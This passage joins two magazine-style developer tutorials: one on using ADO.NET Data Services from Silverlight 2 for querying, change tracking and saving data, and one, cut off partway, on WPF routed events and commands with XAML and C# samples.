Figure 1 Service Contract for Simple Product Web Service
[ServiceContract]
public interface ICustomerService
{
  [OperationContract]
  List<Product> GetAllProducts();

  [OperationContract]
  Product GetProduct(int productID);

  [OperationContract]
  List<Product> GetAllProductsWithCategories();

  [OperationContract]
  Product SaveProduct(Product productToSave);

  [OperationContract]
  void DeleteProduct(Product productToDelete);
}
It can be quite time-consuming to create a set of services to work with an application's entire data model. And, as this example shows, feature-specific operations can cause Web service bloat. In other words, over time a Web service will have new requirements and operations added, including operations that don't really belong to the core business domain.
For instance, in Figure 1 you see the operation GetAllProductsWithCategories, which is used to retrieve the Product and include the categories by default. It wouldn't be surprising to see sorting, filtering, and even paging mechanisms added to this simple example. It would be nice if there were a simple way to support data operations (like querying, sorting, filter, and so on) without having to continually build all these mechanisms manually. That is where ADO.NET Data Services comes in.

ADO.NET Data Services
The goal of ADO.NET Data Services is to provide Web-accessible endpoints for a data model. These endpoints offer a way to filter, sort, shape, and page data from the server without requiring the developer to custom build the functionality for these operations. Essentially, each endpoint is a starting point for a LINQ query. From the endpoint, you can query for the data you are actually looking for.
But don't think of ADO.NET Data Services as just another data-access strategy. ADO.NET Data Services does not perform any data access directly. In fact, it's layered on top of a data-access technology that supports serialization, querying, and updating. The job of querying and updating the data is left to this underlying data-access layer. Figure 2 shows ADO.NET Data Services and its placement in a typical application architecture.
Figure 2 ADO.NET Data Services Layers
Since ADO.NET Data Services relies on a data-access facility to do the actual data-access work, you must have a way to specify what this work looks like. In ADO.NET Data Services, each service must be backed by a LINQ-enabled provider. In fact, each endpoint is really just an IQueryable endpoint. Thus, ADO.NET Data Services can support any object that supports IQueryable.

Creating the Service
When you add ADO.NET Data Services to your project, a new .svc file is created, as is a class that represents the service. Unlike a Web service, you will not actually implement the service operations yourself, but instead will allow the DataService class to handle most of the heavy lifting. To get the service running, there are a couple of small tasks that are necessary. First, the DataService class requires a type parameter called the context object. The context object is a class that describes the data to be exposed as a service. When your service exposes data from a relational database, this class is typically derived from EntityFramework's ObjectContext or LINQ to SQL's DataContext:
// Use my NorthwindEntities context object
// as the source of the Service's Data
public class Products : DataService<NorthwindEntities>
There is no base class requirement for the context object. In fact, you can create your own as long as its properties implement the IQueryable interface; ADO.NET Data Services will expose these properties as endpoints:
public class StateContext
{
  StateList _states = new StateList();
  public IQueryable<State> States
  {
    get { return _states.AsQueryable<State>(); }
  }
}
In the InitializeService call, you are handed an IDataServiceConfiguration object that you can use to specify what kinds of permissions to allow in the service. ADO.NET Data Services uses the abstraction of nouns and verbs for specifying permissions, as illustrated in Figure 3.
Figure 3 Set Access Rules
// This method is called only once to initialize service-wide policies.
public static void InitializeService(IDataServiceConfiguration config)
{
  // Only allow us to read or update Products Entities
  // not Delete or Create
  config.SetEntitySetAccessRule("Products",
                                EntitySetRights.AllRead |
                                EntitySetRights.WriteUpdate);

  // Only Allow Reading of Category and Supplier Entities
  config.SetEntitySetAccessRule("Categories", EntitySetRights.AllRead);
  config.SetEntitySetAccessRule("Suppliers", EntitySetRights.AllRead);

}
Once this is done, you can browse to the service directly, and it will show the Atom feed information about each of the endpoints. For debugging of ADO.NET Data Services, I suggest you disable RSS feed view in Internet Explorer® or use another browser to see the XML format of the service.

Querying and Updating Data
ADO.NET Data Services exposes the service as a Representational State Transfer (REST)-based service—it is not a SOAP-based service. This means that instead of SOAP envelopes, the payload of the response from the service contains only the data, not the request metadata. All requests are described using the combination of the HTTP verb (GET, PUT, POST, and so forth) and the request URI. Assume you have a model that describes Products, Categories, and Suppliers, as in Figure 4. The ADO.NET Data Services service that results could have three endpoints, one for each entity set in the model. The URI to address an entity set in the model is simply the address of the service and the name of the endpoint: http://localhost/{ServiceName}/{EndPointName} or http://localhost/Product.svc/Products.
Figure 4 Sample Data Model
This URI syntax supports a host of different features including the retrieval of specific entities, sorting, filtering, paging, and shaping of the results.
ADO.NET Data Services uses these URL-style queries to return the data to the consumer of the service. Currently, two serialization formats are supported (though this is likely to expand in future versions): JavaScript Object Notation (JSON) and Atom-based XML. JSON is a format that is easy for client-side Web code to consume, whereas Atom is an XML-based format and subsequently requires the assistance of an XML parser.
Instead of requiring that the serialization format be specified in the query, ADO.NET Data Services uses standard HTTP accept headers to determine which format to return to the client. If you issue a request from a client (such as a browser) that can consume XML, and if you don't specify a preferred format type via an Accept header, Atom is the default format of the data returned.
Querying data is only part of the solution. Ultimately the solution must support both queries and updates. To support all of these requirements, ADO.NET Data Services maps the four basic data-access operations to the four basic HTTP verbs (see Figure 5).
Figure 5 Data-Access Verbs to HTTP Verbs
Data-Access Verb | HTTP Verb
Create | POST
Read | GET
Update | PUT
Delete | DELETE
By using these verbs, ADO.NET Data Services lets the consumer of the service take advantage of all types of data operations without having to create special endpoints for the different types. The only requirement for getting data updating to work within ADO.NET Data Services is for the underlying data-access technology to support the IUpdatable interface. This interface is the contract defining how updates are propagated from ADO.NET Data Services to the data sources.
Currently, the Entity Framework is the only data-access technology that supports this interface. In the future, I would expect that most layers will also incorporate support for it (including LINQ to SQL, LLBGenPro, and NHibernate). Now that you have a working knowledge of ADO.NET Data Services, you can begin to use it in Silverlight 2.

The Silverlight 2.0 Client Library
If you were to use ADO.NET Data Services to issue queries and update data through the URI syntax and manipulate the XML directly, you would get the functionality you want, but you would still be building a lot of plumbing. That is where the ADO.NET Data Services Client Library for Silverlight comes in. This library (in conjunction with a command-line tool) allows you to issue LINQ queries directly in your Silverlight applications, which are translated by the client library into HTTP query or update requests to the data service.
Before you can get started, you need to generate some code. This code generation reads the metadata of the ADO.NET Data Services service and generates data-only classes for the service's entities as well as a class to represent the service itself.
To generate this code, you will use the DataSvcUtil.exe tool located in the Microsoft® .NET Framework 3.5 folder (usually c:\windows\Microsoft.NET\Framework\v3.5\). You can run this tool and specify the URI of the service, the output code file, and the language to use to build the code, like so:
DataSvcUtil.exe –uri:http://localhost/Product.svc –out:data.cs
  –lang:CSharp
This will build a new file with a data contract class for each of the endpoints and a DataServiceContext-derived class. The DataServiceContext class is used as the service entry point (and exposes queryable service endpoints). If you include this class in your Silverlight project and add a reference to the System.Data.Services.Client.dll (part of the Silverlight 2 Beta 2 SDK), you will have all the code you need to work with ADO.NET Data Services.
The Silverlight client code is similar to other LINQ-based queries you might have written in .NET-targeted code. You create a DataServiceContext-derived class and issue LINQ queries against it. Here's how it would look:
// Create the Service class specifying the
// location of the ADO.NET Data Services
NorthwindEntities ctx =
  new NorthwindEntities(new Uri("Products.svc", UriKind.Relative));

// Create a LINQ Query to be issued to the service
var qry = from p in ctx.Products
               orderby p.ProductName
                select p;
When you execute this query, it will issue a Web request to get the desired data. However, the Silverlight code here differs dramatically from standard LINQ queries in that Silverlight does not allow synchronous Web requests. Therefore, to make the execution asynchronous you need to first cast the query into a DataServiceQuery<T> object and then explicitly call BeginExecute to start the asynchronous execution, as seen here:
// Cast to a DataServiceQuery<Product>
// (since the query is returning Products)
DataServiceQuery<Product> productQuery =
  (DataServiceQuery<Product>)qry;

  // Execute the Query Asynchronously specifying
  // a callback method
  productQuery.BeginExecute(new
    AsyncCallback(OnLoadComplete),
    productQuery);
Once the query has executed (whether the operation was successful or not), the method specified in the AsyncCallback will be executed. This is the point at which you can enumerate the LINQ query to process the actual results. Typically you would include the original query in the AsyncCallback so you could retrieve it in the callback method (or you could save it as part of the class), as you can see in Figure 6.
Figure 6 Add Results to Collection
void OnLoadComplete(IAsyncResult result)
{
  // Get a reference to the Query
  DataServiceQuery<Product> productQuery =
    (DataServiceQuery<Product>)result.AsyncState;

  try
  {
    // Get the results and add them to the collection
    List<Product> products = productQuery.EndExecute(result).ToList();

  }
  catch (Exception ex)
  {
    if (HtmlPage.IsEnabled)
    {
      HtmlPage.Window.Alert("Failed to retrieve data: " + ex.ToString());
    }
  }

}
If you have never dealt with LINQ before, this pattern will be quite foreign to you. At the current time, there are no good patterns for asynchronous LINQ except for executing LINQ in an asynchronous package (such as ThreadPool and BackgroundWorker). Silverlight requires all requests to be asynchronous, so this pattern is required when using the ADO.NET Data Services Client Library.

Loading Related Entities
ADO.NET Data Services also allows you to choose how you want to go about loading related entities. In the earlier example I gave, I was loading products from the server. Each product has a relationship to the supplier for that product as well as the category for that product.
Using the previous LINQ query, I only retrieved products. If I wanted to show supplier or category information, it would not have been immediately accessible. I would have either had to load this information as I needed it or explicitly retrieve it during my original query to the server. Both techniques have their benefits, but, in general, explicit loading is much more efficient if you know that you will need the information for every object. If you only expect to load that data for a few entities, then using on-demand retrieval is preferable.
By default, when there is a relationship property (such as Product.Supplier) that property is null if you don't explicitly load the property. To facilitate loading on demand, the DataServiceContext class has a BeginLoadProperty method (that follows the same asynchronous model) where you specify the source entity, the name of the property, and a callback:
public void LoadSupplierAsync(Product theProduct)
{
  TheContext.BeginLoadProperty(theProduct,
                               "Supplier",
                               new AsyncCallback(SupplierLoadComplete),
                               null);
  }

  public void SupplierLoadComplete(IAsyncResult result)
  {
    TheContext.EndLoadProperty(result);
  }
Once the EndLoadProperty is called, the property has been properly loaded with the related entity. In many cases, you will want to load them explicitly in the original query. To facilitate this, the LINQ provider supports the Expand extension method. This method allows you to specify the name of the property paths to load when the query executes. The Expand extension method is used in the From clause of the LINQ query to tell the provider to attempt to load those related entities. For example, if you change the original query to use Expand methods for both Category and Supplier, our objects will load those related entities during the original query execution:
var qry =
  from p in TheContext.Products.Expand("Supplier").Expand("Category")
          orderby p.ProductName
          select p;
If you are just reading data from ADO.NET Data Services, you are done. Knowing how to create a query, run it, and load related entities is all you need. If you need to actually modify data, there is a bit more work involved. Bind your new data to your Silverlight controls and go to town!

Change Management
The ADO.NET Data Services Client Library does not support automatic change monitoring of objects. This means that as objects, collections, and relationships change, it is up to the developer to tell the DataServiceContext object about those changes. The API for notifying the DataServiceContext object is fairly simple and is illustrated in Figure 7.
Figure 7 DataServiceContext Change API
Method | Description
AddObject | Adds a newly created object.
UpdateObject | Marks an object as changed.
DeleteObject | Marks the object for deletion.
AddLink | Adds a link between two objects.
UpdateLink | Updates a link between two objects.
DeleteLink | Deletes a link between two objects.
This means that you will need to monitor changes to the objects and notify the DataServiceContext object with your own code. On the surface, it may seem disappointing that there is no automatic change management, but this allows the library to be efficient and small.
You may be wondering how to monitor for changes to the objects. The answer is in the generated code. In each of the generated data contract classes, there are partial methods that get called as the data in the class changes. (See go.microsoft.com/fwlink/?LinkId=122979 for more information on partial methods.) If these methods are never implemented, the classes do not incur any overhead from this change notification. You can use the partial method mechanism on any of the data contracts that support change to implement change notification. Simply call the DataServiceContract in partial methods; coupling the DataServiceContract class is not necessary.
Luckily, Silverlight already supports an interface for change notification (INotifyPropertyChange). Leverage this interface in your implementation for notifying anyone interested in a change to your data. For example, you could implement INotifyPropertyChange in your data contract classes (in our case, Product class) to define an event that can be fired as the object changes. Here's how it looks:
public partial class Product : INotifyPropertyChanged
{
  public event PropertyChangedEventHandler PropertyChanged;
}
Implementing this allows you to raise an event as any property changes. You can determine when to raise this event by implementing the partial methods that the generated data contract classes call. For example, to notify subscribers when the ProductName property changes, just implement the OnProductNameChanged partial method and then fire the PropertyChanged event, passing in ProductName to identify the changed property to event subscribers. Here's the code:
partial void OnProductNameChanged()
{
  if (PropertyChanged != null)
  {
    PropertyChanged(this, new PropertyChangedEventArgs("ProductName"));
  }
}
By implementing these partial methods on all writable properties, you have a simple way to monitor changes to your object. Then you can just register for the PropertyChanged event and notify the DataServiceContext object as the object changes:
// In the OnLoadComplete method
// Get the results and add them to the collection
List<Product> products = productQuery.EndExecute(result).ToList();

foreach (Product product in products)
{
  // Wireup Change Notification
  product.PropertyChanged +=
    new PropertyChangedEventHandler(product_PropertyChanged);
}
Finally, you can implement the product_PropertyChanged method to notify the DataServiceContext object:
void product_PropertyChanged(object sender, PropertyChangedEventArgs e)
{
  Product product = (Product)sender;
  TheContext.UpdateObject(product);
}
Similarly, as objects are created or deleted, you need to notify the DataServiceContext, as you can see in Figure 8.
Figure 8 Create and Delete Notifications
void addNewButton_Click(object sender, RoutedEventArgs e)
{
  Product theProduct = new Product();
  // ...
  TheContext.AddObject(theProduct);
}

void deleteButton_Click(object sender, RoutedEventArgs e)
{
  Product theProduct = (Product)theList.SelectItem;
  TheContext.DeleteObject(theProduct);
  theCollection.Remove(theProduct);
}
With all this code in place, you can change the objects in your Silverlight UI and let data binding and your change notification code make sure the DataServiceContext knows about any changes that will occur. But how do you execute actual updates to the service?

Updating through the Service
Now that your DataServiceContext object knows about data changes, you need a way to communicate them to the server. To support this, the DataServiceContext class has a BeginSaveChanges method, which follows the same asynchronous model as the queries described earlier in this article. The BeginSaveChanges method takes all the changes in the DataServiceContext and sends them to the server, as seen here:
TheContext.BeginSaveChanges(SaveChangesOptions.None,
                            new AsyncCallback(OnSaveAllComplete),
                            null);
When issuing the BeginSaveChanges, there is a flagged enumeration called SaveChangesOptions. This enumeration allows you to specify two options: whether to use batching and whether to continue even if some objects fail to save. In general, I would suggest always using batching. In fact, batching is required for some types of parent/child relationships to update correctly if the server has particular referential integrity constraints in place.
Once the save is complete, the callback will be executed. There are two mechanisms that propagate error information for you. First, if there is an exception thrown during the execution of the save, this exception will be thrown when you call "EndSaveChanges" in the callback. Because of this, you will want to use a try/catch block to catch catastrophic errors. In addition, the return type from EndSaveChanges is a DataServiceResponse object. The DataServiceResponse has a HasErrors property (see Figure 9), but it is unreliable in the Silverlight 2 Beta 2 version of the library.
Figure 9 BeginSaveChanges Callback
void OnSaveAllComplete(IAsyncResult result)
{
  bool succeeded = true;
  try
  {
    DataServiceResponse response =
      (DataServiceResponse)TheContext.EndSaveChanges(result);

    foreach (OperationResponse opResponse in response)
    {
      if (opResponse.HasErrors)
      {
        succeeded = false;
      }
    }

  }
  catch (Exception ex)
  {
    succeeded = false;
  }

  // Alert the User
}
Further Reading
  • Microsoft Silverlight Site
  • Data Platform Development Center
  • JavaScript Object Notation
  • Atom
  • Live Demo
  • Fiddler2
  • My Blog
  • The Silverlight Tour
  • Data 2.0: Expose and Consume Data in a Web Services World
Instead of depending on that, you can iterate through the actual OperationResponse objects (the DataServiceResponse is a collection of OperationResponse objects) to see if there are errors on each of the responses returned from the server. In later versions, you should be able to rely on the HasErrors property of the DataServiceResponse class itself.

Debugging the Service
In debugging the service, there are three important tasks you will want to perform: viewing the state of data in the DataServiceContext object, viewing the requests made by ADO.NET Data Services, and, lastly, catching server errors.
First, let's deal with the state of entities in the DataServiceContext object. The DataServiceContext class exposes two collections that are useful: Entities and Links. These collections are read-only collections of the entities and links between entities that are being tracked by the DataServiceContext. When debugging, whether you are marking objects as changed or not, viewing these collections in the debugger is invaluable to determine whether or not your change-tracking code is working correctly.
Note that it is also important for you to view the actual server requests that are being made by your Silverlight 2 application. The best way to do that is with a network proxy of some sort. I use Fiddler2 (fiddler2.com) for this. If you're not familiar with Fiddler2, it's basically a tool for watching Web traffic so you can see what is actually happening on the wire.
For ADO.NET Data Services, you want to see the actual communication over the wire to see what was being sent to and from the Silverlight app. Please refer to my blog (wildermuth.com/2008/06/07/Debugging_ADO_NET_Data_Services_with_Fiddler2) for more.
Lastly, in the latest .NET Framework 3.5 SP1, server-side errors are not being propagated to the client well. In fact, most of the errors on the server are being swallowed by the server. The best tactic for debugging server errors is to use the Exception option in the Debug menu (Debug->Exceptions…) and configure the debugger to stop on all .NET Exceptions. Once you select this option, you can see the exceptions thrown by the service (though you may need to "Continue" through other first-chance exceptions).

Where We Are
My goal here has been to show how ADO.NET Data Services is the gateway between Silverlight 2 and server-based models. You should now know how to use ADO.NET Data Services to read and write data from the server without resorting to hand-designed Web services. As you can see, the combination of Silverlight, ADO.NET Data Services, and LINQ lets you build powerful data-driven Web applications with all the advantages of Web 2.0 technologies. For more on these technologies, see the "Further Reading" sidebar.
Shawn Wildermuth is a Microsoft MVP (C#) and the founder of Wildermuth Consulting Services. He is the author of several books and numerous articles. In addition, Shawn currently runs the Silverlight Tour teaching Silverlight 2 around the country. He can be contacted at shawn@wildermuthconsulting.com.


Advanced WPF
Understanding Routed Events and Commands In WPF
Brian Noyes
Code download available at: RoutedWPF2008_09a.exe (175 KB)
Browse the Code Online

This article discusses:
  • Event routing and visual trees
  • Command routing
  • Avoiding command focus problems
  • Going beyond routed commands
This article uses the following technologies:
WPF
Contents
Routed Events Overview
WPF Element Trees
Event Routing
Routed Events and Composition
Attached Events
Routed Commands Overview
Routed Command in Action
Command Routing
Defining Commands
Command Plumbing
Routed Command Challenges
Avoiding Command Problems
Going beyond Routed Commands
A Routed Handler Sample
One of the most daunting things about getting up to speed on Windows® Presentation Foundation (WPF) is that there are so many new constructs to master. Even simple things like Microsoft® .NET Framework properties and events have new counterparts in WPF with added capabilities and associated complexity—specifically dependency properties and routed events. Then there is all the brand new stuff, such as animations, styling, control templates, and routed commands. There is a lot to learn.
In this article I am going to focus on two very important items in the list of new WPF elements to master. These items—routed events and routed commands—are related to each other. They form the basis for communication among the various parts of your user interface—whether those parts are individual controls on one big Window class or whether they are controls and their supporting code in separate, decoupled parts of your user interface. For this article I am assuming you are already familiar with the fundamentals of WPF, such as how to construct a UI using built-in WPF controls and declaring the layout of your UI in XAML.

Routed Events Overview
When you are first getting started with WPF, you will likely use routed events without even knowing you are using them. For example, if you add a button to your window in the Visual Studio® designer and name it myButton and then double-click on it, the Click event will get hooked up in your XAML markup and an event handler for the Click event will be added to the codebehind of your Window class. This should feel no different than hooking up events in Windows Forms and ASP.NET. It is actually a little closer to the coding model for ASP.NET but more like the runtime model of Windows Forms. Specifically, in your XAML markup for the button, you end up with code like this:
<Button Name="myButton" Click="myButton_Click">Click Me</Button>
The XAML declaration for hooking up an event looks just like a property assignment in XAML but results in a normal event hookup on the object that specified the event handler. This hookup actually happens in a compile-time-generated partial class for your window. To see this, go to the constructor for your class, right-click on the InitializeComponent method call, and select Go To Definition from the context menu. The editor will display a generated code file (with a naming convention of .i.g.cs or .i.g.vb) containing the code that is normally generated at compile time. Scroll down in the displayed partial class to the Connect method where you will see the following:
#line 6 "..\..\Window1.xaml"
this.myButton.Click +=
  new System.Windows.RoutedEventHandler(
  this.myButton_Click);
This partial class is generated from the XAML at compile time and contains those elements of the XAML that need design-time compilation. Most of your XAML ends up as a binary-embedded resource in your compiled assembly and is merged at run time with the compiled code from the binary representation of your markup.
If you take a look at the codebehind for the window, the Click handler looks like this:
private void myButton_Click(
  object sender, RoutedEventArgs e) { }
So far this looks like any other .NET event hookup—you have an explicitly declared delegate hooked up to an event on an object, and the delegate points to a handling method. The only thing to tip you off that you are using routed events is the type of the event argument for the Click event, which is RoutedEventArgs. What is so special about routed events then? To understand that, you first need to understand the elemental composition model of WPF.

WPF Element Trees
If you start with a new window in a project and drag a button onto the window in the designer, you end up with an element tree in the XAML that looks like this (attributes omitted for clarity):
<Window>
  <Grid>
    <Button/>
  </Grid>
</Window>
Each of these elements represents a runtime instance of a corresponding .NET type, and the declared hierarchy of elements forms what is called the logical tree. In addition, many controls in WPF are either ContentControls or ItemsControls, meaning they can have child elements. For example, a Button is a ContentControl, and it can have a complex child element as its content. You could expand the logical tree, as you see here:
<Window>
  <Grid>
    <Button>
      <StackPanel>
        <Image/>
        <TextBlock/>
      </StackPanel>
    </Button>
  </Grid>
</Window>
This results in a UI like that shown in Figure 1.
Figure 1 Simple Window with Button Content
As you can imagine, the tree could start to take on multiple branches (another Button in the Grid), and the logical tree can grow significantly in complexity. The thing to realize about WPF elements in the logical tree is that what you see is not really what you get at run time. Each of those elements usually expands to a more complicated tree of visual elements at run time. In this example, the logical tree of elements expands to the visual tree of elements shown in Figure 2.
Figure 2 Simple Window Visual Tree
I used a tool called Snoop (blois.us/Snoop) to see the elements of the visual tree shown in Figure 2. You can see that the window (EventsWindow) actually wraps its content in a Border and an AdornerDecorator and presents the content inside of that with a ContentPresenter. The button does something similar, wrapping its content in a ButtonChrome object and presenting the content with a ContentPresenter.
When I click on my button, I may not actually be clicking on the Button element at all; I may be clicking on a child element in the visual tree, possibly even one that is not shown in my logical tree (such as the ButtonChrome). For example, say that I click the mouse on top of the image inside my button. The click really manifests itself initially as a MouseLeftButtonDown event inside the Image element. But somehow that needs to get translated into a Click event at the Button level. This is where the routing in routed events comes in.

Event Routing
Understanding a little about the logical and visual trees is important because routed events get routed based primarily on the visual tree. Routed events support a RoutingStrategy of Bubble, Tunnel, or Direct.
Bubble is the most common and means that an event will bubble (propagate) up the visual tree from the source element until either it has been handled or it reaches the root element. This allows you to handle an event on an object further up the element hierarchy from the source element. For example, you could attach a Button.Click handler on the enclosing Grid element instead of directly on the button itself. Bubble events just have names that indicate their action (for example, MouseDown).
Tunnel events go in the other direction, starting at the root element and traversing down the element tree until they are handled or reach the source element for the event. This allows upstream elements to intercept the event and handle it before the event reaches the source element. Tunnel events have their names prefixed with Preview by convention (such as PreviewMouseDown).
Direct events behave like normal events in the .NET Framework. The only potential handler for the event is a delegate that is hooked up to the event.
Usually if a Tunnel event is defined for a particular event, there is a corresponding Bubble event. In that case, the Tunnel event fires first, starting at the root and working its way down to the source element looking for a handler. Once it has been handled or has reached the source element, the Bubble event is fired, working its way up from the source element and looking for a handler. A Bubble or Tunnel event does not stop its routing just because an event handler is called. If you want to stop the bubbling or tunneling process, you mark the event as handled in your event handler using the event arguments you are passed:
private void OnChildElementMouseDown(object sender,
  MouseButtonEventArgs e) {
  e.Handled = true;
}
Once your handler marks an event as handled, it will not be raised to any more handlers. Well, that is only partially true. In reality, event routing continues behind the scenes, and you can explicitly hook up event handlers in code with an override of the UIElement.AddHandler method that has an additional flag to effectively say, "Call me even if the event has been marked as handled." You specify that flag with a call like the following:
m_SomeChildElement.AddHandler(UIElement.MouseDownEvent,
  (RoutedEventHandler)OnMouseDownCallMeAlways,true);
The first parameter to AddHandler is the RoutedEvent you want to handle. The second is a delegate to the event-handling method (which will need to have the correct signature for the event's delegate). The third parameter indicates whether you want to be notified even if another handler has marked the event as handled. The element on which you call AddHandler is the one that will be watching for the event to flow by during routing.

Routed Events and Composition
Let's walk through how the Button.Click event comes into being to drive home why all this is important. As I mentioned before, a user will initiate a Click event with a MouseLeftButtonDown event on some child element in the visual tree of your Button, such as the Image in the previous example.
When the MouseLeftButtonDown event happens inside the Image element, a PreviewMouseLeftButtonDown event starts at the root and tunnels down to the Image. If no handlers set the Handled flag to true for the preview event, the MouseLeftButtonDown event then starts bubbling up from the Image element until it gets to the Button. The button handles that event, sets the Handled flag to true, and raises its own Click event. The sample code for this article includes an application with handlers hooked up throughout the routing chain to help you visualize this process.
The implications are quite powerful. For example, if I choose to replace the default button appearance by applying a control template that contains an Ellipse element, I don't have to do anything to ensure that clicks outside the Ellipse don't fire the Click event. Clicks just outside the edge of the Ellipse will still be inside the rectangular bounds of my button, but Ellipse has its own hit detection for MouseLeftButtonDown, and the empty portions of the button outside the Ellipse do not.
So only clicks inside the Ellipse raise the MouseLeftButtonDown event. It is still handled by the Button class to which the template is attached, so you will get predictable behavior from even your customized button. This is also an extremely important concept to remember when writing your own custom composite controls because you will likely need to do things similar to what Button is doing to handle events from the child elements that get placed inside your control.

Attached Events
In order to enable elements to handle events that are declared in a different element, WPF supports something called attached events. Attached events are routed events that support a hookup in XAML on elements other than the type on which the event is declared. For example, if you want the Grid element to listen for a Button.Click event to bubble past, you would simply hook it up like the following:
<Grid Button.Click="myButton_Click">
  <Button Name="myButton" >Click Me</Button>
</Grid>
The resulting code in the compile-time-generated partial class now looks like this:
#line 5 "..\..\Window1.xaml"
((System.Windows.Controls.Grid)(target)).AddHandler(
System.Windows.Controls.Primitives.ButtonBase.ClickEvent,
new System.Windows.RoutedEventHandler(this.myButton_Click));
Attached events simply give you a little more flexibility in where you hook up your event handlers. But if the elements are contained in the same class (as in this example), it may not be apparent what difference it makes because, in either case, the handling method is still just a method on the Window class.
It matters in two ways. First, event handlers are called based on where the handling element is in the bubbling or tunneling element chain. Second, this lets you do something like handle events from objects that may be encapsulated down inside a control you are using. For example, you could handle Button.Click events like those shown on the Grid, but those Button.Click events could be bubbling out from inside of a user control contained in your window.
Tip: Event-Handler Naming
If you don't want to be stuck with the default naming convention for event handlers (objectName_eventName), simply type in your desired event-handler name, right-click on it, and click Navigate to Event Handler in the context menu. Visual Studio will then generate an event handler for the name you specified.
In Visual Studio 2008 SP1, the Properties window will have an events view similar to the one in Windows Forms, so you will be able to specify the event name there once you have SP1. But if you are already in the XAML, this is a handy way to get an explicitly named handler generated.
Generate Event Handler
Not all events are declared as attached events. In fact, most are not. But attached events can be quite handy when you need to do event handling somewhere else besides the control's source.

Routed Commands Overview
Now that you have seen routed events, you are ready to understand routed commands. WPF-routed commands give you a specific mechanism for hooking up UI controls such as toolbar buttons and menu items to handlers without introducing a lot of tight coupling and repetitive code into your application. Routed commands give you three main things on top of normal event handling:
  • Routed command source elements (invokers) can be decoupled from command targets (handlers)—they do not need direct references to one another, as they would if they were linked by an event handler.
  • Routed commands will automatically enable or disable all associated UI controls when the handler indicates the command is disabled.
  • Routed commands allow you to associate keyboard shortcuts and other forms of input gestures (ink gestures, for example) as another way to invoke the command.
In addition, a specific flavor of routed command, the RoutedUICommand class, adds the ability to define a single Text property to be used for the text prompting of any controls that are invokers for the command. The Text property can also be localized more easily than visiting each associated invoker control.
To declare a command on an invoker, you simply set a Command property on the control that will fire the command:
<Button Command="ApplicationCommands.Save">Save</Button>
The Command property is supported by MenuItem, Button, RadioButton, CheckBox, Hyperlink, and a number of other controls.
For an element that you want to act as a command handler, you set up a CommandBinding:
<UserControl ...>
  <UserControl.CommandBindings>
    <CommandBinding Command="ApplicationCommands.Save"
      CanExecute="OnCanExecute" Executed="OnExecute"/>
  </UserControl.CommandBindings>
  ...
</UserControl>
The CanExecute and Executed properties of a command binding point to methods in the codebehind of the declaring class that are called during the command-handling process. The important thing here is that the command invoker does not need any knowledge of or reference to the command handlers, and a handler does not have to know what element is going to invoke the command.
CanExecute is called to determine whether or not the command should be enabled. To enable the command, set the CanExecute property of the event arguments to true, as shown here:
private void OnCanExecute(object sender,
  CanExecuteRoutedEventArgs e) {
  e.CanExecute = true;
}
A command is also enabled if there is a command handler with a defined Executed method but no CanExecute method (CanExecute is implicitly true in that case). The Executed method is where you take whatever action is appropriate based on that command being invoked. This may be saving a document, submitting an order, sending an e-mail, or some other action with which the command is associated.

Routed Command in Action
To make this more concrete and to quickly see the benefits of routed commands, let's look at a simple example. In Figure 3 you see a simple UI with two input textboxes and a toolbar button for performing a Cut action on the text in the textboxes.
Figure 3 Simple App with Cut Command Toolbar Button
To get this hooked up using events, you would need to define a Click handler for the toolbar button, and that code would need references to the two textboxes. You would have to determine which textbox has the focus and call appropriate clipboard operations based on the text selection in the control. You would also have to worry about enabling and disabling the toolbar button at appropriate times based on where the focus is and whether anything was selected in the textbox. Ugly, messy, tightly coupled code.
It doesn't sound too bad for this simple form, but what if those textboxes are now down inside a user control or a custom control and your window codebehind doesn't have direct access to them? You would either have to expose an API at your user control boundary to make hooking things up from the container possible or expose the textboxes publicly—neither approach is ideal.
With commands, all you need to do is set the Command property on the toolbar button to the Cut command that is defined in WPF and you are done:
<ToolBar DockPanel.Dock="Top" Height="25">
  <Button Command="ApplicationCommands.Cut">
    <Image Source="cut.png"/>
  </Button>
</ToolBar>
You could now run the app and see that the toolbar button is initially disabled. After you select some text in one of the textboxes, the toolbar button becomes enabled and, if you click it, the text is actually cut to the clipboard. And it would work for any textbox anywhere in your UI. Wow—pretty cool, huh?
What is happening here is that the TextBox class implementation has a built-in command binding for the Cut command and encapsulates the clipboard handling for that command (and Copy and Paste as well) for you. So how does the command only get invoked on the in-focus textbox, and how does the message get to the textbox to tell it to handle the command? That is where the routed part of routed commands comes into play.

Command Routing
The difference between routed commands and routed events is in how the command gets routed from the command invoker to the command handler. Specifically, routed events are used under the covers to route messages between the command invokers and the command handlers (through the command binding that hooks it into the visual tree).
There could be a many-to-many relationship here, but only one command handler will actually be active at any given time. The active command handler is determined by a combination of where the command invoker and command handler are in the visual tree, and where the focus is in the UI. Routed events are used to call the active command handler to ask whether the command should be enabled, as well as to invoke the command handler's Executed method handler.
Usually, a command invoker looks for a command binding between its own location in the visual tree and the root of the visual tree. If it finds one, the bound command handler will determine whether the command is enabled and will be called when the command is invoked. If the command is hooked up to a control inside a toolbar or menu (or, more generally, a container that sets FocusManager.IsFocusScope = true), then some additional logic runs that also looks along the visual tree path from the root to the focus element for a command binding.
In the simple application from Figure 3, what happens is this: because the Cut command button is in a toolbar, CanExecute and Execute are handled by the TextBox instance that has the focus. If the textboxes in Figure 3 were contained within a user control, then you would have an opportunity to set up a command binding on the window, the user control that contains the Grid, the Grid that contains the textboxes, or on the individual textboxes. Whichever textbox has the focus will determine the end of the focus path originating from the root.
An important thing to understand about the routing of WPF routed commands is that once a single command handler is invoked, then no other handlers will be called. So if the user control handles the CanExecute method, the TextBox CanExecute implementation will no longer be called.

Defining Commands
Both the ApplicationCommands.Save and the ApplicationCommands.Cut commands are two of many commands provided by WPF. The five built-in command classes in WPF along with some examples of the commands they contain are shown in Figure 4.
Figure 4 WPF Command Classes
Command Class | Example Commands
ApplicationCommands | Close, Cut, Copy, Paste, Save, Print
NavigationCommands | BrowseForward, BrowseBack, Zoom, Search
EditingCommands | AlignXXX, MoveXXX, SelectXXX
MediaCommands | Play, Pause, NextTrack, IncreaseVolume, Record, Stop
ComponentCommands | MoveXXX, SelectXXX, ScrollXXX, ExtendSelectionXXX
The XXX indicates a collection of operations such as MoveNext and MovePrevious. The commands in each class are defined as public static (Shared in Visual Basic®) properties so that you can easily hook them up. You can define your own custom commands easily by following the same approach. I'll show an example of this a little later.
You can also use these commands with a shorthand notation, like the following:
<Button Command="Save">Save</Button>
